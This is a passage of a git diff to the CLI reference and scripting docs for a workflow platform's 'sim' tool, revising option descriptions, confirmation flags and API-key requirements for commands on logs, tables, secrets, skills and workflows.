logs stats -Summarize run counts, failures, and cost over a window +Summarize run counts, failures and latency over a window ```bash sim logs stats [options] @@ -2435,9 +2435,9 @@ sim logs stats [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -2459,8 +2459,8 @@ sim logs list [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -2475,12 +2475,12 @@ sim logs list [options] | `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | | `--status ` | No | Comma-separated execution statuses to include, from `pending` \| `running` \| `paused` \| `redacting` \| `completed` \| `failed` \| `cancelled`. An empty entry is rejected. ANDed with `level`, which reports severity rather than lifecycle. | | `--workflow-name ` | No | Case-insensitive substring match against the run's workflow name. Runs whose workflow has been deleted match nothing, because the name is no longer joinable. | -| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | +| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | | `--no-include-job-runs` | No | Send --include-job-runs as false. | | `--run-id ` | No | Exact run identifier to match. | -| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | +| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -2498,9 +2498,9 @@ sim logs follow [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Only follow runs of this workflow (repeatable). Defaults to ``. | -| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). Defaults to ``. | -| `--trigger ` | No | Only follow runs with this trigger type (repeatable). Defaults to ``. | +| `--workflow ` | No | Only follow runs of this workflow (repeatable). | +| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). | +| `--trigger ` | No | Only follow runs with this trigger type (repeatable). | | `--level ` | No | Only follow runs at this severity. Accepted values: `info`, `error`. | | `--details ` | No | Response detail level; full names each run’s workflow. Accepted values: `basic`, `full`. Defaults to `full`. | | `-n, --lines ` | No | Recent runs to print before watching. Defaults to `10`. | @@ -2565,7 +2565,7 @@ sim mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2610,7 +2610,7 @@ sim mcp-servers list [options] ### sim mcp-servers tools list -List MCP Server Tools +List MCP Server Tools (personal API key required) ```bash sim mcp-servers tools list [options] @@ -2692,7 +2692,7 @@ Also spelled `sim secret`. ### sim secrets delete -Delete Secret +Delete Secret (personal API key required) ```bash sim secrets delete [options] @@ -2704,7 +2704,7 @@ sim secrets delete [options] | Argument | Required | Description | | --- | --- | --- | -| `name` | Yes | Secret to create, replace, or delete. | +| `name` | Yes | Secret to delete. | @@ -2715,13 +2715,13 @@ sim secrets delete [options] | Option | Required | Description | | --- | --- | --- | | `--scope ` | Yes | Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace. Accepted values: `workspace`, `personal`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim secrets list -List Secrets +List Secrets (personal API key required) ```bash sim secrets list [options] @@ -2743,7 +2743,7 @@ sim secrets list [options] ### sim secrets set -Create or replace a named secret +Create or replace a named secret (personal API key required) ```bash sim secrets set [options] @@ -2779,7 +2779,7 @@ Also spelled `sim skill`. ### sim skills create -Create Skill +Create Skill (personal API key required) ```bash sim skills create [options] @@ -2799,7 +2799,7 @@ sim skills create [options] ### sim skills delete -Delete Skill +Delete Skill (personal API key required) ```bash sim skills delete [options] @@ -2821,7 +2821,7 @@ sim skills delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2845,7 +2845,7 @@ sim skills get ### sim skills editors create -Grant Skill Editor +Grant Skill Editor (personal API key required) ```bash sim skills editors create [options] @@ -2903,7 +2903,7 @@ sim skills editors list [options] ### sim skills editors delete -Revoke Skill Editor +Revoke Skill Editor (personal API key required) ```bash sim skills editors delete [options] @@ -2926,7 +2926,7 @@ sim skills editors delete [options] | Option | Required | Description | | --- | --- | --- | | `--email ` | Yes | Email address of a current workspace member. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2953,7 +2953,7 @@ sim skills list [options] ### sim skills update -Update Skill +Update Skill (personal API key required) ```bash sim skills update [options] @@ -3038,7 +3038,7 @@ sim tables columns delete [options] | Option | Required | Description | | --- | --- | --- | | `--column-name ` | Yes | Name of the column to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3127,7 +3127,7 @@ sim tables groups delete [options] | Option | Required | Description | | --- | --- | --- | | `--group-id ` | Yes | Workflow group to delete. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3203,8 +3203,8 @@ sim tables batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to archive, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3290,7 +3290,7 @@ sim tables rows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3319,9 +3319,9 @@ sim tables rows batch-delete [options] | Option | Required | Description | | --- | --- | --- | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to delete. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `--row ` | No | Explicit row identifiers to delete. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3521,8 +3521,8 @@ sim tables rows batch-update [options] | --- | --- | --- | | `--filter ` | Yes | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | | `--data ` | Yes | Row-data patch applied to every matching row. (JSON, or @path / @- to read a file or stdin). | -| `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--limit ` | No | Maximum matching rows to update. (caps a --filter match only; omit it to act on every match, and note 0 is not accepted). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3580,7 +3580,7 @@ sim tables dispatches cancel [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3608,11 +3608,11 @@ sim tables dispatches create [options] | Option | Required | Description | | --- | --- | --- | -| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line). | +| `--group-ids ` | Yes | Workflow or enrichment groups to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--run-mode ` | No | Whether to run all or only incomplete cells. Accepted values: `all`, `incomplete`. | -| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line). | +| `--row-ids ` | No | Explicit row subset to run. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line). | +| `--exclude-row-ids ` | No | Rows excluded from a select-all run scope. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--max-rows ` | No | Stop after this many eligible rows have run (1-1,000,000). Omit for an unbounded run. | @@ -3656,7 +3656,7 @@ sim tables dispatches list ### sim tables exports cancel -Cancel Table Export +Stop a running export ```bash sim tables exports cancel @@ -3741,10 +3741,10 @@ sim tables exports download ### sim tables imports cancel -Cancel Table Import +Stop a running import ```bash -sim tables imports cancel +sim tables imports cancel [options] ``` **Arguments** @@ -3757,6 +3757,16 @@ sim tables imports cancel +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ### sim tables imports get Get Table Import @@ -3802,8 +3812,8 @@ sim tables cancel-runs [options] | `--scope ` | Yes | Whether to cancel across the table or one row. Accepted values: `all`, `row`. | | `--row-id ` | No | Row whose runs should be canceled for row scope. | | `--filter ` | No | Predicate: {"all":[{"field":"status","op":"eq","value":"active"}]}; groups use all/any. Operators: eq, ne, gt, gte, lt, lte, in, nin, contains, ncontains, startsWith, endsWith, like, ilike, nlike, nilike, isEmpty, isNotEmpty, isNull, isNotNull (JSON, or @path / @- to read a file or stdin). | -| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--exclude-row-ids ` | No | Rows excluded from an all-scope cancellation. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -3871,13 +3881,13 @@ sim tables folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim tables folders list -List Folders +List table folders ```bash sim tables folders list [options] @@ -3991,7 +4001,7 @@ sim tables views delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4089,7 +4099,7 @@ sim tables delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4145,7 +4155,7 @@ sim tables list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a `DELETE` archived and `POST /tables/{tableId}/restore` can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live tables, `archived` for tables a delete archived and a table restore can bring back. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--search ` | No | Case-insensitive substring match against the resource name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | @@ -4169,7 +4179,7 @@ sim tables move [options] | Option | Required | Description | | --- | --- | --- | | `--table-ids ` | No | Tables to move, by identifier. (JSON, or @path / @- to read a file or stdin). | -| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Table folders to move, by path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -4265,7 +4275,7 @@ sim tables upsert [options] | Option | Required | Description | | --- | --- | --- | -| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike the merging `PATCH /api/v2/tables/{tableId}/rows/{rowId}`. (JSON, or @path / @- to read a file or stdin). | +| `--data ` | Yes | Complete set of row cells keyed by column name. On the update branch this REPLACES the matched row: any column not present here is cleared, unlike a single-row update, which merges. (JSON, or @path / @- to read a file or stdin). | | `--on ` | No | Unique column to resolve the conflict against. | @@ -4302,6 +4312,7 @@ sim tables import [path] [options] | `--mapping ` | No | Column mapping (--table-id only). | | `--create-columns ` | No | Columns to create (--table-id only). | | `--timezone ` | No | Timezone for date parsing, e.g. America/New_York. | +| `-y, --yes` | No | Confirm this destructive operation (required with --mode replace). | | `--no-wait` | No | Return once the import is queued instead of watching it. | @@ -4400,7 +4411,7 @@ sim tools list [options] ### sim workflow-mcp-servers create -Create Workflow MCP Server +Create Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers create [options] @@ -4416,13 +4427,13 @@ sim workflow-mcp-servers create [options] | `--description ` | No | Optional server description. | | `--is-public` | No | Whether the server answers MCP clients without a Sim API key. Defaults to false — a public server executes the workflows it publishes for anyone holding its URL. | | `--no-is-public` | No | Send --is-public as false. | -| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Deployed workflows to publish as tools on the new server. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim workflow-mcp-servers delete -Delete Workflow MCP Server +Delete Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers delete [options] @@ -4444,13 +4455,13 @@ sim workflow-mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflow-mcp-servers tools create -Publish Workflow As MCP Tool +Publish Workflow As MCP Tool (personal API key required) ```bash sim workflow-mcp-servers tools create [options] @@ -4481,7 +4492,7 @@ sim workflow-mcp-servers tools create [options] ### sim workflow-mcp-servers tools list -List Workflow MCP Tools +List Workflow MCP Tools (personal API key required) ```bash sim workflow-mcp-servers tools list @@ -4499,7 +4510,7 @@ sim workflow-mcp-servers tools list ### sim workflow-mcp-servers tools delete -Unpublish Workflow MCP Tool +Unpublish Workflow MCP Tool (personal API key required) ```bash sim workflow-mcp-servers tools delete [options] @@ -4522,13 +4533,13 @@ sim workflow-mcp-servers tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflow-mcp-servers get -Get Workflow MCP Server +Get Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers get @@ -4546,7 +4557,7 @@ sim workflow-mcp-servers get ### sim workflow-mcp-servers list -List Workflow MCP Servers +List Workflow MCP Servers (personal API key required) ```bash sim workflow-mcp-servers list [options] @@ -4566,7 +4577,7 @@ sim workflow-mcp-servers list [options] ### sim workflow-mcp-servers update -Update Workflow MCP Server +Update Workflow MCP Server (personal API key required) ```bash sim workflow-mcp-servers update [options] @@ -4601,10 +4612,10 @@ Also spelled `sim workflow`. ### sim workflows activate create -Activate Workflow Version +Activate Workflow Version (personal API key required) ```bash -sim workflows activate create +sim workflows activate create [options] ``` **Arguments** @@ -4618,9 +4629,19 @@ sim workflows activate create +**Options** + + + +| Option | Required | Description | +| --- | --- | --- | +| `-y, --yes` | Yes | Confirm this operation. | + + + ### sim workflows operations apply -Apply Workflow Operations +Apply Workflow Operations (personal API key required) ```bash sim workflows operations apply [options] @@ -4644,12 +4665,12 @@ sim workflows operations apply [options] | --- | --- | --- | | `--dry-run` | No | Validate and lint without persisting. The response is identical to the committed write of the same body, so a caller can inspect `lint` and then re-send the request for real. Nothing is written, no audit entry is recorded, and collaborators are not notified. | | `--no-dry-run` | No | Send --dry-run as false. | -| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also insert_into_subflow and extract_from_subflow, whose params carry {"subflowId":"<loop-id>"} (JSON, or @path / @- to read a file or stdin). | +| `--operations ` | Yes | Edits to apply, in a single batch, keyed by operation_type: [{"operation_type":"add","block_id":"my-fn","params":{"type":"function","name":"My Fn","inputs":{"code":"return {ok:true}"}}},{"operation_type":"edit","block_id":"<uuid>","params":{"name":"Renamed","connections":{"success":"my-fn"}}},{"operation_type":"delete","block_id":"<uuid>"}]. Also extract_from_subflow, whose params carry {"subflowId":"<loop-id>"}, and insert_into_subflow, which creates a block and so takes an add’s params plus that subflowId (JSON, or @path / @- to read a file or stdin). | | `--atomic` | No | Fail the whole batch when any operation is declined or any block input would be dropped. The default applies what it can and reports the rest in `skipped` and `inputValidationErrors`; `true` writes nothing and answers `409` instead. | | `--no-atomic` | No | Send --atomic as false. | | `--layout ` | No | Whether to reposition blocks the batch touched. `targeted` (default) nudges only the affected subgraph; `none` leaves every position exactly as supplied. Accepted values: `targeted`, `none`. | | `--set-block-enabled ` | No | Blocks to enable or disable, applied after --operations: [{"block_id":"<uuid>","enabled":false}]. Disabling a loop or parallel cascades to its unlocked descendants; enabling a block whose container is disabled is declined (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -4678,7 +4699,7 @@ sim workflows variables update [options] | Option | Required | Description | | --- | --- | --- | | `--operations ` | Yes | Variable changes to apply in order, keyed by operation: [{"operation":"add","name":"my_var","type":"string","value":"hello"},{"operation":"edit","name":"my_var","value":"updated"},{"operation":"delete","name":"my_var"}] (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -4736,7 +4757,7 @@ sim workflows runs get [options] | --- | --- | --- | | `--workflow ` | Yes | Workflow ID. | | `--include-output` | No | Include the final output in JSON or YAML output. | -| `--select-output ` | No | Include blockName.field values in JSON or YAML output (e.g. agent_1.content) (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Include blockId or blockId.path values in JSON or YAML output; block names are not resolved on a finished run (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline each produced file's bytes as base64. Requires `includeOutput`. A file above the inline ceiling answers `413` naming its download path; fetch large files from `downloadPath` instead. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Per-file inline ceiling, lowering but never raising the server limit of 16 MiB. | @@ -4889,13 +4910,13 @@ sim workflows folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows folders list -List Workflow Folders +List workflow folders ```bash sim workflows folders list [options] @@ -4961,13 +4982,13 @@ sim workflows delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows chat unpublish -Take a workflow’s chat deployment offline +Take a workflow’s chat deployment offline (personal API key required) ```bash sim workflows chat unpublish [options] @@ -4989,13 +5010,13 @@ sim workflows chat unpublish [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows chat status -Show a workflow’s chat deployment +Show a workflow’s chat deployment (personal API key required) ```bash sim workflows chat status @@ -5013,7 +5034,7 @@ sim workflows chat status ### sim workflows chat publish -Publish or replace a workflow’s chat deployment +Publish or replace a workflow’s chat deployment (personal API key required) ```bash sim workflows chat publish [options] @@ -5047,13 +5068,13 @@ sim workflows chat publish [options] | `--no-include-thinking` | No | Send --include-thinking as false. | | `--include-tool-calls` | No | Allow visitors to receive tool lifecycle events. | | `--no-include-tool-calls` | No | Send --include-tool-calls as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows deploy -Deploy Workflow +Deploy Workflow (personal API key required) ```bash sim workflows deploy [options] @@ -5136,7 +5157,7 @@ sim workflows run [options] | `--input ` | No | Trigger input as JSON (JSON, or @path / @- to read a file or stdin). | | `--async` | No | Queue the run and return immediately. | | `--execution-timeout-seconds ` | No | Requested server-side timeout for an asynchronous run, in seconds. An upper bound, not the effective timeout: the run uses the smaller of this value and the plan's execution timeout, so requesting more than the plan allows silently yields the plan timeout. Rejected with `400` unless `async` is true. | -| `--select-output ` | No | Return blockName.field values (e.g. agent_1.content); missing fields are omitted (space-separated, or @path / @- with one value per line). | +| `--select-output ` | No | Return blockName.field values from the streamed result (e.g. agent_1.content), requires --follow; missing fields are omitted (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--include-file-base64` | No | Inline eligible output files as base64 content. Rejected when `async` is true. | | `--no-include-file-base64` | No | Send --include-file-base64 as false. | | `--base64-max-bytes ` | No | Maximum total bytes of file content to inline as base64, lowering but never raising the server limit of 16 MiB. Rejected when `async` is true. | @@ -5208,7 +5229,7 @@ sim workflows deployment status ### sim workflows deployment update -Update Workflow Public API Access +Update Workflow Public API Access (personal API key required) ```bash sim workflows deployment update [options] @@ -5254,7 +5275,7 @@ sim workflows state get ### sim workflows state replace -Replace Workflow State +Replace Workflow State (personal API key required) ```bash sim workflows state replace [options] @@ -5283,7 +5304,7 @@ sim workflows state replace [options] | `--loops ` | No | Ignored on write: loop containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--parallels ` | No | Ignored on write: parallel containers are recomputed from `blocks`. (JSON, or @path / @- to read a file or stdin). | | `--variables ` | No | Replacement variable set. Omit to leave the stored variables untouched. (JSON, or @path / @- to read a file or stdin). | -| `-y, --yes` | No | Confirm this destructive operation (required unless --dry-run). | +| `-y, --yes` | No | Confirm this operation (required unless --dry-run). | @@ -5399,7 +5420,7 @@ sim workflows list [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live workflows, `archived` for workflows a `DELETE` archived. The folder filter resolves against active folders only, so pairing it with `archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--deployed-only` | No | Return only workflows with an active deployment when true. | | `--no-deployed-only` | No | Send --deployed-only as false. | @@ -5424,7 +5445,7 @@ sim workflows move [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | Yes | Workflows to move. Duplicates are collapsed. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | Yes | Destination folder path; / moves the workflows to the workspace root. | @@ -5449,7 +5470,7 @@ sim workflows restore ### sim workflows revert create -Revert Workflow To Version +Revert Workflow To Version (personal API key required) ```bash sim workflows revert create [options] @@ -5472,13 +5493,13 @@ sim workflows revert create [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows rollback -Rollback Workflow +Rollback Workflow (personal API key required) ```bash sim workflows rollback [options] @@ -5501,13 +5522,13 @@ sim workflows rollback [options] | Option | Required | Description | | --- | --- | --- | | `--to-version ` | No | Deployment version to reactivate. Omit to select the previous active version. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim workflows undeploy -Take a workflow out of deployment +Take a workflow out of deployment (personal API key required) ```bash sim workflows undeploy [options] @@ -5529,7 +5550,7 @@ sim workflows undeploy [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | diff --git a/apps/docs/content/docs/en/cli/scripting.mdx b/apps/docs/content/docs/en/cli/scripting.mdx index 32be39572b9..af4dc93cce9 100644 --- a/apps/docs/content/docs/en/cli/scripting.mdx +++ b/apps/docs/content/docs/en/cli/scripting.mdx @@ -14,7 +14,7 @@ to read stdin. ```bash sim workflows import --workflow @wf.json -sim tables rows query tbl_123 --filter @filter.json +sim tables rows query tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --filter @filter.json cat wf.json | sim workflows import --workflow @- ``` @@ -24,20 +24,34 @@ Primitive lists take space-separated values. With `@`, the file supplies one value per line: ```bash -sim files mv --file-ids file_1 file_2 --to Archive +sim files mv --file-ids wf_3Qm8ZtLpR2yVnKd7BsXwC wf_5Hn1JvTqW9xUcMb4RzPgL --to Archive sim files mv --file-ids @file-ids.txt --to Archive -printf 'file_1\nfile_2\n' | sim files mv --file-ids @- --to Archive +printf 